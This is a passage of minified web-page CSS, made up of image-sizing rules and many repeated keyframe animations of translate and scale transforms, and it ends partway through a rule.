.css-bsn42l{width:50%;}}.sizeSmall.sizeSmallNoCaption .css-bsn42l{margin-left:auto;margin-right:auto;}@media (min-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:1024px){.sizeSmall.layoutVertical .css-bsn42l{width:250px;}}@media (max-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:1024px){.sizeSmall.layoutHorizontal .css-bsn42l{width:300px;}}@media (max-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-bsn42l{width:310px;}}.css-11cwn6f{width:100%;vertical-align:top;}.css-11cwn6f img{width:100%;vertical-align:top;}@-webkit-keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@-webkit-keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@-webkit-keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@-webkit-keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@-webkit-keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@-webkit-keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@-webkit-keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@-webkit-keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@-webkit-keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@-webkit-keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@-webkit-keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) 